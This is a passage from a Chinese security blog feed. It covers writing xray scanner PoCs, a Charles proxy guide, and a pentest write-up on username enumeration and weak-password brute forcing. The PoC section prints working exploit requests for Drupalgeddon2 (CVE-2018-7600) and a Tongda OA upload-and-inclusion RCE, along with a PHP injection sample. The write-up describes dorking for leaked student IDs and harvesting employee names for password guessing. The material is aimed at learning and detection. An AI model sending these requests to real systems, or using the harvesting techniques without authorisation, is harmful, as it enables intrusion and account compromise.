class="line">urlpatterns = [</span><br><span class="line"> path(<span class="string">'admin/'</span>, admin.site.urls),</span><br><span class="line"> <span class="comment"># user 路由</span></span><br><span class="line"> path(<span class="string">'apis/'</span>, include(<span class="string">'User.urls'</span>)),</span><br><span class="line"></span><br><span class="line"> <span class="comment"># swagger</span></span><br><span class="line"> re_path(<span class="string">r'^doc(?P<format>\.json|\.yaml)$'</span>,schema_view.without_ui(cache_timeout=<span class="number">0</span>), name=<span class="string">'schema-json'</span>), <span class="comment">#<-- 这里</span></span><br><span class="line"> path(<span class="string">'doc/'</span>, schema_view.with_ui(<span class="string">'swagger'</span>, cache_timeout=<span class="number">0</span>), name=<span class="string">'schema-swagger-ui'</span>), <span class="comment">#<-- 这里</span></span><br><span class="line"> path(<span class="string">'redoc/'</span>, schema_view.with_ui(<span class="string">'redoc'</span>, cache_timeout=<span class="number">0</span>), name=<span class="string">'schema-redoc'</span>), <span class="comment">#<-- 这里</span></span><br><span class="line">]</span><br></pre></td></tr></table></figure><p><img src="5.1.png" alt="5.1"></p><h1 id="0x06-参考:"><a href="#0x06-参考:" class="headerlink" title="0x06 参考:"></a>0x06 参考:</h1><p><a href="https://www.liujiangblog.com/course/django/130">https://www.liujiangblog.com/course/django/130</a></p><p><a href="https://www.runoob.com/django/django-tutorial.html">https://www.runoob.com/django/django-tutorial.html</a></p><p><a href="https://www.django-rest-framework.org/">https://www.django-rest-framework.org/</a></p><p><a href="https://docs.djangoproject.com/zh-hans/3.1/">https://docs.djangoproject.com/zh-hans/3.1/</a></p>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
<tags>
<tag> django </tag>
<tag> django学习 </tag>
<tag> django安全开发 </tag>
</tags>
</entry>
<entry>
<title>xray poc编写学习</title>
<link href="/2021/04/05/xray%20poc%E7%BC%96%E5%86%99%E5%AD%A6%E4%B9%A0/"/>
<url>/2021/04/05/xray%20poc%E7%BC%96%E5%86%99%E5%AD%A6%E4%B9%A0/</url>
<content type="html"><![CDATA[<h1 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h1><p>总结一下xray官方poc编写规则:<a href="https://zhuanlan.zhihu.com/p/78334648">https://zhuanlan.zhihu.com/p/78334648</a></p><h2 id="基本的poc结构"><a href="#基本的poc结构" class="headerlink" title="基本的poc结构"></a>基本的poc结构</h2><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">poc-yaml-example-com</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">method:</span> <span class="string">GET</span></span><br><span class="line"> <span class="attr">path:</span> <span class="string">"/"</span></span><br><span class="line"> <span class="attr">expression:</span> <span class="string">|</span></span><br><span class="line"> <span class="string">status==200</span> <span class="string">&&</span> <span class="string">body.bcontains(b'Example</span> <span class="string">Domain')</span></span><br></pre></td></tr></table></figure><p>整个poc包含三个键值对:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">name: string poc名称如:poc-yaml-tongda-oa-rce</span><br><span class="line">rules: []Rule poc规则:poc请求路径,请求内容,回显信息都由此匹配</span><br><span class="line">detail: map[string]string 发送给xray的信息,就是平时xray扫描得到漏洞时xray返回的那一串爆红信息</span><br></pre></td></tr></table></figure><h2 id="rulers规则"><a href="#rulers规则" class="headerlink" title="rulers规则"></a>rulers规则</h2><p>三个键值对中最重要的就是rules键值对,下面简单介绍一下编写规则:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">method: string 请求方法</span><br><span class="line">path: string 请求的完整Path,包括querystring等</span><br><span class="line">headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中</span><br><span class="line">body: string 请求的Body</span><br><span class="line">follow_redirects: bool 是否允许跟随300跳转</span><br><span class="line">expression: string</span><br><span class="line">search: string</span><br></pre></td></tr></table></figure><p>根据这些键的作用,我们将其分为三类:</p><ol><li><code>method</code>、<code>path</code>、<code>headers</code>、<code>body</code>、<code>follow_redirects</code>的作用是生成检测漏洞的数据包</li><li><code>expression</code>的作用是判断该条Rule的结果</li><li><code>search</code>的作用是从返回包中提取信息</li></ol><h2 id="xray对于POC扫描的流程如下:"><a href="#xray对于POC扫描的流程如下:" class="headerlink" title="xray对于POC扫描的流程如下:"></a>xray对于POC扫描的流程如下:</h2><p>POC模块在收到用户的一个请求后,开始对这个目标进行漏洞扫描。根据Rule中的<code>method</code>、<code>path</code>、<code>headers</code>、<code>body</code>、<code>follow_redirects</code>键值,替换原始数据包中的对应信息。</p><p>替换后的数据包被发送,并获得返回包,再执行expression表达式,表达式结果作为该条Rule的结果;</p><p>同时,我们通过search指定的正则表达式,可以从返回包body中提取一些信息,作为下一个rule,或detail中可以被引用的内容。</p><h2 id="expression表达式编写"><a href="#expression表达式编写" class="headerlink" title="expression表达式编写"></a>expression表达式编写</h2><p>样例:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">status==200 && body.bcontains(b'Example Domain')</span><br></pre></td></tr></table></figure><p>函数简单总结一下即是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">body.contains('string'): 判断响应包中是否含有string字符串</span><br><span class="line">body.bcontains(b'\x00\x01\x02'):判断body中是否包含0x000102这段二进制代码</span><br><span class="line"></span><br><span class="line">r'^test'.matches(body):判断响应包是否以test开头,这里也可以用:body.startsWith('test')来代替。</span><br><span class="line">r'^PK\x03\x04'.bmatches(body):判断响应包是否以PK0x0304开头,PK0x0304为zip文件的16进制头</span><br><span class="line"></span><br><span class="line">body.startsWith('test'):判断响应包是否以字符串test开头</span><br><span class="line">body.endsWith('test'):判断响应包是否以字符串test结尾</span><br></pre></td></tr></table></figure><p>官方样列:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">body.bcontains(b'test')</span><br><span class="line">返回包body包含test,因为body是一个bytes类型的变量,所以我们需要使用bcontains方法,且其参数也是bytes</span><br><span class="line"></span><br><span class="line">content_type.contains('application/octet-stream') && body.bcontains(b'\x00\x01\x02')</span><br><span class="line">返回包的content-type包含“application/octet-stream”,且body中包含0x000102这段二进制串</span><br><span class="line"></span><br><span class="line">content_type.contains('zip') && r'^PK\x03\x04'.bmatches(body)</span><br><span class="line">这个规则用来判断返回的内容是否是zip文件,需要同时满足条件:content-type包含关键字“zip”,且body匹配上正则r’^PK\x03\x04’(就是zip的文件头)。因为startsWith方法只支持字符串的判断,所以这里没有使用。</span><br><span class="line"></span><br><span class="line">status >= 300 && status < 400</span><br><span class="line">返回包的status code在300~400之间</span><br><span class="line"></span><br><span class="line">(status >= 500 && status != 502) || r'<input value="(.+?)"'.bmatches(body)</span><br><span class="line">返回包status code大于等于500且不等于502,或者Body包含表单</span><br></pre></td></tr></table></figure><p>官方注意声明:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">'\r\n' 表示换行</span><br><span class="line">r'\r\n' 不表示换行,仅仅表示这4个字符。在编写正则时很有意义。</span><br><span class="line">b'test' 一个字节流(bytes),在golang中即为[]byte</span><br><span class="line"></span><br><span class="line">expression表达式返回的必须是一个bool类型的结果,这个结果作为整个Rule的值,而rules由多个Rule组成。值为true的Rule,如果后面还有其他Rule,则继续执行后续Rule,如果后续没有其他Rule,则表示该POC的结果是true;如果一个Rule的expression返回false,则不再执行后续Rule,也表示本POC的返回结果是false。</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong><code>也就是说,一个POC的rules中,最后一个Rule的值,决定是否存在漏洞。</code></strong></p><h2 id="search的作用"><a href="#search的作用" class="headerlink" title="search的作用"></a>search的作用</h2><p>一个Rule中,可以支持使用search来查找返回包中的内容;当然,如果不需要查找内容,则可以忽略search。</p><p>search是一个字符串类型的正则表达式,我们用一个简单的案例来进行说明。如:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">search: |</span><br><span class="line"> <input type="hidden" name="csrftoken" value="(.+?)"</span><br></pre></td></tr></table></figure><p>该处表示匹配从 <input type=”hidden”开头的html文本中提取csrftoken值。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">search: |</span><br><span class="line"> name="form_build_id"\s+value="(.+?)"</span><br></pre></td></tr></table></figure><p>该处则表示从响应中提取form_build_id值。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">search: (?P<dirname>200\d)_(?P<filename>\d+)</span><br></pre></td></tr></table></figure><p>该处则表示从响应中提取dirname,filename。</p><p>匹配响应中_相连的两个字符,并单独获取匹配结果。?P获取匹配值,/d确定字符边界。</p><h1 id="poc示例"><a href="#poc示例" class="headerlink" title="poc示例"></a>poc示例</h1><p>可以直接在xray的官方仓库查看大佬们编写的poc,学习一下是如何写的poc</p><p><a href="https://github.com/chaitin/xray/tree/master/pocs">https://github.com/chaitin/xray/tree/master/pocs</a></p><p>网上的一些poc例子:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">poc-yaml-example-com</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">method:</span> <span class="string">GET</span></span><br><span class="line"> <span class="attr">path:</span> <span class="string">"/update"</span></span><br><span class="line"> <span class="attr">expression:</span> <span class="string">"true"</span></span><br><span class="line"> <span class="attr">search:</span> <span class="string">|</span></span><br><span class="line"><span class="string"> <input type="hidden" name="csrftoken" value="(.+?)"</span></span><br><span class="line"><span class="string"></span> <span class="bullet">-</span> <span class="attr">method:</span> <span class="string">POST</span></span><br><span class="line"> <span class="attr">path:</span> <span class="string">"/update"</span></span><br><span class="line"> <span class="attr">body:</span> <span class="string">|</span></span><br><span class="line"><span class="string"> id=';echo(md5(123));//&csrftoken={{1}}</span></span><br><span class="line"><span class="string"></span> <span class="attr">expression:</span> <span class="string">|</span></span><br><span class="line"> <span class="string">status</span> <span class="string">==</span> <span class="number">200</span> <span class="string">&&</span> <span class="string">body.bcontains(b'202cb962ac59075b964b07152d234b70')</span></span><br></pre></td></tr></table></figure><p><strong>Drupal7 drupalgeddon2 命令执行漏洞(CVE-2018-7600</strong></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">poc-yaml-drupal-drupalgeddon2-rce</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">method:</span> <span class="string">POST</span></span><br><span class="line"> <span class="attr">path:</span> <span class="string">"/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]=test%25%25test"</span></span><br><span class="line"> <span class="attr">headers:</span></span><br><span class="line"> <span class="attr">User-Agent:</span> <span class="string">"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"</span></span><br><span class="line"> <span class="attr">body:</span> <span class="string">|</span></span><br><span class="line"><span class="string"> form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password</span></span><br><span class="line"><span class="string"></span> <span class="attr">search:</span> <span class="string">|</span></span><br><span class="line"><span class="string"> name="form_build_id"\s+value="(.+?)"</span></span><br><span class="line"><span class="string"></span> <span class="attr">expression:</span> <span class="string">|</span></span><br><span class="line"><span class="string"> status==200</span></span><br><span class="line"><span class="string"></span> <span class="bullet">-</span> <span class="attr">method:</span> <span class="string">POST</span></span><br><span class="line"> <span class="attr">path:</span> <span class="string">"/?q=file%2Fajax%2Fname%2F%23value%2F<span class="template-variable">{{1}}</span>"</span></span><br><span class="line"> <span class="attr">headers:</span></span><br><span class="line"> <span class="attr">User-Agent:</span> <span class="string">"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"</span></span><br><span class="line"> <span class="attr">body:</span> <span class="string">|</span></span><br><span class="line"><span class="string"> form_build_id={{1}}</span></span><br><span class="line"><span class="string"></span> <span class="attr">expression:</span> <span class="string">|</span></span><br><span class="line"><span class="string"> body.bcontains(b'test%test')</span></span><br><span class="line"><span class="string"></span><span class="attr">detail:</span></span><br><span class="line"> <span class="attr">drupal_version:</span> <span class="number">7</span></span><br></pre></td></tr></table></figure><p><strong>通达OA-RCE-POC示例</strong></p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">poc-yaml-tongda-oa-rce</span></span><br><span class="line"><span class="attr">set:</span></span><br><span class="line"> <span class="attr">rand:</span> <span class="string">randomInt(200000000,</span> <span class="number">210000000</span><span class="string">)</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">method:</span> <span class="string">POST</span></span><br><span class="line"> <span class="attr">path:</span> <span class="string">/ispirit/im/upload.php</span></span><br><span class="line"> <span class="attr">headers:</span></span><br><span class="line"> <span class="attr">User-Agent:</span> <span class="string">'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'</span></span><br><span class="line"> <span class="attr">Content-Type:</span> <span class="string">>-</span></span><br><span class="line"><span class="string"> multipart/form-data;charset=utf-8;boundary=---------------------------27723940316706158781839860668</span></span><br><span class="line"><span class="string"></span> <span class="attr">Accept-Encoding:</span> <span class="string">'deflate'</span></span><br><span class="line"> <span class="attr">body:</span> <span class="string">|-</span></span><br><span class="line"><span class="string"> -----------------------------27723940316706158781839860668</span></span><br><span class="line"><span class="string"> Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"</span></span><br><span class="line"><span class="string"> Content-Type: image/jpeg</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"> {{<span class="string">rand</span>}}</span><br><span class="line"> <span class="string">-----------------------------27723940316706158781839860668</span></span><br><span class="line"> <span class="attr">Content-Disposition:</span> <span class="string">form-data;</span> <span class="string">name="P"</span></span><br><span class="line"></span><br><span class="line"> {{<span class="string">rand</span>}}</span><br><span class="line"> <span class="string">-----------------------------27723940316706158781839860668</span></span><br><span class="line"> <span class="attr">Content-Disposition:</span> <span class="string">form-data;</span> <span class="string">name="DEST_UID"</span></span><br><span class="line"></span><br><span class="line"> {{<span class="string">rand</span>}}</span><br><span class="line"> <span class="string">-----------------------------27723940316706158781839860668</span></span><br><span class="line"> <span class="attr">Content-Disposition:</span> <span class="string">form-data;</span> <span class="string">name="UPLOAD_MODE"</span></span><br><span class="line"></span><br><span class="line"> <span class="number">1</span></span><br><span class="line"> <span class="string">-----------------------------27723940316706158781839860668</span></span><br><span class="line"> <span class="attr">follow_redirects:</span> <span class="literal">false</span></span><br><span class="line"> <span class="attr">expression:</span> <span class="string">|</span></span><br><span class="line"><span class="string"> response.status == 200</span></span><br><span class="line"><span class="string"></span> <span class="attr">search:</span> <span class="string">(?P<dirname>200\d)_(?P<filename>\d+)</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">method:</span> <span class="string">POST</span></span><br><span class="line"> <span class="attr">path:</span> <span class="string">/ispirit/interface/gateway.php</span></span><br><span class="line"> <span class="attr">headers:</span></span><br><span class="line"> <span class="attr">User-Agent:</span> <span class="string">'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'</span></span><br><span class="line"> <span class="attr">Content-Type:</span> <span class="string">'application/x-www-form-urlencoded'</span></span><br><span class="line"> <span class="attr">Accept-Encoding:</span> <span class="string">'deflate'</span></span><br><span class="line"> <span class="attr">body:</span> <span class="string">|</span></span><br><span class="line"><span class="string"> json={"url":"../../../general/../attach/im/{{dirname}}/{{filename}}.jpg"}</span></span><br><span class="line"><span class="string"></span> <span class="attr">expression:</span> <span class="string">|</span></span><br><span class="line"><span class="string"> response.status == 200 && response.body.bcontains(bytes(string(rand)))</span></span><br><span class="line"><span class="string"></span><span class="attr">detail:</span></span><br><span class="line"> <span class="attr">author:</span> <span class="string">清风明月(www.secbook.info)</span></span><br><span class="line"> <span class="attr">demo_tongda_version:</span> <span class="string">'tongda-oa-11.3'</span></span><br><span class="line"> <span class="attr">links:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">https://cdndown.tongda2000.com/oa/2019/TDOA11.3.exe</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">https://www.anquanke.com/post/id/201174</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">https://github.com/fuhei/tongda_rce/blob/master/tongda_rce.py</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="编写测试"><a href="#编写测试" class="headerlink" title="编写测试"></a>编写测试</h1><p>高效率编写poc学习文章:<br><a href="https://docs.xray.cool/#/guide/high_quality_poc">https://docs.xray.cool/#/guide/high_quality_poc</a></p><p><a href="https://paper.seebug.org/9/">https://paper.seebug.org/9/</a></p><p>这里简单编写一下某src发现的<strong>Consul Service API远程命令执行漏洞</strong></p><p>该漏洞访问/v1/agent/self路径,响应中EnableLocalScriptChecks”: true即可大概率判断存在远程命令执行漏洞,非常容易写poc进行判断</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">poc-yaml-ConsulServiceApi_rce</span></span><br><span class="line"><span class="attr">rules:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">method:</span> <span class="string">GET</span></span><br><span class="line"> <span class="attr">path:</span> <span class="string">"/v1/agent/self"</span></span><br><span class="line"> <span class="attr">expression:</span> <span class="string">"true"</span></span><br><span class="line"> <span class="attr">expression:</span> <span class="string">|</span></span><br><span class="line"> <span class="string">status</span> <span class="string">==</span> <span class="number">200</span> <span class="string">&&</span> <span class="string">body.contains(b'"EnableRemoteScriptChecks":</span> <span class="literal">true</span><span class="string">')</span></span><br></pre></td></tr></table></figure><p>漏洞详情:<a href="https://www.imzzj.com/2019/07/04/hashicorp-consul-service-api-yuan-cheng-ming-ling-zhi-xing-lou-dong.html">https://www.imzzj.com/2019/07/04/hashicorp-consul-service-api-yuan-cheng-ming-ling-zhi-xing-lou-dong.html</a></p>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
<tags>
<tag> xray poc </tag>
</tags>
</entry>
<entry>
<title>clarles使用教程</title>
<link href="/2021/03/05/clarles%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/"/>
<url>/2021/03/05/clarles%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/</url>
<content type="html"><![CDATA[<h2 id="1-安装ssl证书"><a href="#1-安装ssl证书" class="headerlink" title="1.安装ssl证书"></a>1.安装ssl证书</h2><p>帮助–> ssl 代理 –>安装cha rles根证书</p><p><img src="2.1.png" alt="2.1"></p><p>选择安装之后,还需要在mac钥匙串里找到证书将证书设置为始终信任</p><p><img src="2.2.png" alt="2.2"></p><h2 id="2-过滤特定域名"><a href="#2-过滤特定域名" class="headerlink" title="2.过滤特定域名"></a>2.过滤特定域名</h2><h3 id="方法1-filter过滤"><a href="#方法1-filter过滤" class="headerlink" title="方法1:filter过滤"></a>方法1:filter过滤</h3><p><img src="1.1.png" alt="1.1"></p><h3 id="方法二:设置重点关注域名"><a href="#方法二:设置重点关注域名" class="headerlink" title="方法二:设置重点关注域名"></a>方法二:设置重点关注域名</h3><p>选择需要重点关注的域名,鼠标右键选择重点(focused)</p><p>选中的域名就在查看(view)–>重点主机(focused Hosts)中。</p><p><img src="1.2.png" alt="1.2"></p><p>选择重点之后,选择的域名就会出现在最上面,其他域名会折叠在other hosts里,方便查看。</p><p><img src="1.3.png" alt="1.3"></p><h2 id="3-乱码解决"><a href="#3-乱码解决" class="headerlink" title="3.乱码解决"></a>3.乱码解决</h2><p>一开始抓包可能会乱码,需要在代理中设置:ssl代理设置为*:443允许抓取ssl数据包。</p><p><img src="3.1.png" alt="3.1"></p><h2 id="4-数据包更改"><a href="#4-数据包更改" class="headerlink" title="4.数据包更改"></a>4.数据包更改</h2><p>选中需要更改的数据包,右键撰写,即可对数据包进行编辑,并且进行请求</p><p><img src="4.1.png" alt="4.1"></p><h2 id="5-数据包并发重放"><a href="#5-数据包并发重放" class="headerlink" title="5.数据包并发重放"></a>5.数据包并发重放</h2><p>数据包并发请求在挖掘逻辑漏洞时有奇效。</p><p>鼠标右键选中需要重放的数据包,选择高级重复。</p><p><img src="5.1.png" alt="5.1"></p>]]></content>
<categories>
<category> web安全 </category>
</categories>
<tags>
<tag> m1抓包 </tag>
<tag> m1 clarles </tag>
<tag> ios m1 app 抓包 </tag>
</tags>
</entry>
<entry>
<title>记一次实战xxe及弱口令爆破学习</title>
<link href="/2020/10/05/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98xxe%E5%8F%8A%E5%BC%B1%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4%E5%AD%A6%E4%B9%A0/"/>
<url>/2020/10/05/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%AE%9E%E6%88%98xxe%E5%8F%8A%E5%BC%B1%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4%E5%AD%A6%E4%B9%A0/</url>
<content type="html"><![CDATA[<p>本文首发于雷神众测:</p><p><a href="https://mp.weixin.qq.com/s/BNMLDwBb9f3xts-8ucL5aw">https://mp.weixin.qq.com/s/BNMLDwBb9f3xts-8ucL5aw</a></p><p>最近做的一次渗透测试,给的两个系统都只有一个登陆页面,也不能测试子域名或者其他端口。两个系统打开看了看挑了一个看起来比较容易好搞的软柿子。简单的测试了一下弱口令,注入没有啥结果。</p><h3 id="开始信息收集,发现一些可能存在问题的点都记录下来一点点去测:"><a href="#开始信息收集,发现一些可能存在问题的点都记录下来一点点去测:" class="headerlink" title="开始信息收集,发现一些可能存在问题的点都记录下来一点点去测:"></a>开始信息收集,发现一些可能存在问题的点都记录下来一点点去测:</h3><p><img src="1.png" alt="1"></p><p>越测越绝望,看来还是不好搞。因为登陆框登陆失败信息很统一,不确定存在什么用户,所以用了常见用户名+top1000密码去爆破,跑了一上午没跑出来。</p><p>想着不能低危三连,去群里找销售问问能不能给个测试账号,客户不提供…….看来只能低危三连了</p><p>去群里找了以往的模板,准备照着写一下报告,然而神奇的事情发生了,这个项目半年前有过一次测试,大佬再其中一个系统中测出了一个弱口令。</p><p>用户名:admin。密码:域名+8899</p><p>报着试一试的心态往登陆框一输,然后进去了…………………………ohhhhhhhhh</p><p>明明也是一个弱口令,我为啥一开始没测出来,陷入了深深的反思…..看来弱口令爆破也是有操作的。</p><p>借此机会好好学习一下弱口令爆破那些事。</p><h1 id="弱口令爆破的一些操作学习记录"><a href="#弱口令爆破的一些操作学习记录" class="headerlink" title="弱口令爆破的一些操作学习记录"></a>弱口令爆破的一些操作学习记录</h1><h2 id="1-用户名确定方法"><a href="#1-用户名确定方法" class="headerlink" title="1.用户名确定方法"></a>1.用户名确定方法</h2><p>因为一些网站登陆框,输入不存在的用户名,会提示:用户名不存在,请重新输入 (这种情况下其实就可以提一个用户名枚举的漏洞)。</p><p>我们根据该信息可以枚举用户名,如果枚举的用户名很多的话,就可以用这些用户名,批量去撞弱口令,可以大大提高爆破成功率。</p><h3 id="1-1-用户名枚举漏洞"><a href="#1-1-用户名枚举漏洞" class="headerlink" title="1.1 用户名枚举漏洞"></a>1.1 用户名枚举漏洞</h3><p>用户名枚举主要就是利用,<code>输入存在用户名和不存在用户名时返回信息不同</code>来确认。而用户名枚举,因为不是爆破同一个账号的密码,所以不容易引起系统,waf拦截还是很好用的。</p><p>而登陆页面中可以输入用户名的地方有三处:登陆框,密码找回,注册</p><p>举一些栗子:</p><h5 id="某校登陆框:"><a href="#某校登陆框:" class="headerlink" title="某校登陆框:"></a>某校登陆框:</h5><p>错误的用户名提示:提示用户名或密码错误,乍一看没什么问题</p><p><img src="1.1.1.png" alt="1.1.1"></p><p>但是输入正确的用户名,错误的密码时:</p><p><img src="1.1.2.png" alt="1.1.2"></p><p>根据返回信息不同,进行用户名枚举:</p><p><img src="1.1.3.png" alt="1.1.3"></p><p>枚举到一个11用户。其实学校的话完全可以使用搜索引擎来收集学号,撞弱口令,这里只是为了简单演示</p><h5 id="某src注册接口:"><a href="#某src注册接口:" class="headerlink" title="某src注册接口:"></a>某src注册接口:</h5><p>注册接口,手机号存在会提示:用户名已存在。</p><p>用户不存在,会提示:验证码以发送。</p><p>虽然发送同一ip发起发送验证码请求过多会提示:验证码请求频繁,但是当手机号存在时依旧会提示:用户名已存在。</p><p>从而造成注册手机号枚举。</p><p><img src="1.1.4.png" alt="1.1.4"></p><h3 id="1-2-利用公开信息收集用户名"><a href="#1-2-利用公开信息收集用户名" class="headerlink" title="1.2 利用公开信息收集用户名"></a>1.2 利用公开信息收集用户名</h3><h5 id="搜索引擎收集:"><a href="#搜索引擎收集:" class="headerlink" title="搜索引擎收集:"></a>搜索引擎收集:</h5><p>比如,收集高校学号信息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">site:*.test.edu.cn 学号</span><br></pre></td></tr></table></figure><p>就能收集到很多,更进一步收集还有收集泄露的office文件,一般excel文件中比较多</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">site:*.test.edu.cn filetype:xlsx 学号</span><br><span class="line">site:*.test.edu.cn filetype:docx </span><br></pre></td></tr></table></figure><h5 id="企业公开信息:"><a href="#企业公开信息:" class="headerlink" title="企业公开信息:"></a>企业公开信息:</h5><p>最近p神在小密圈分享了一个找用户名的小技巧:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">爆破弱口令的时候经常需要目标公司的员工姓名组成字典,但员工姓名字典从哪来呢?</span><br><span class="line"></span><br><span class="line">大型公司(员工数量5k+),可以根据中国姓名拼音Top500来做。但是对于千人及以下的中小型创业公司就不是很灵了。</span><br><span class="line"></span><br><span class="line">分享一种方法,适用于所有公司(尤其是科技公司),就是爬一下这个公司的专利信息列表。由于专利信息都是公开的,能找到大量人员真实姓名,而且多半是技术人员。</span><br><span class="line"></span><br><span 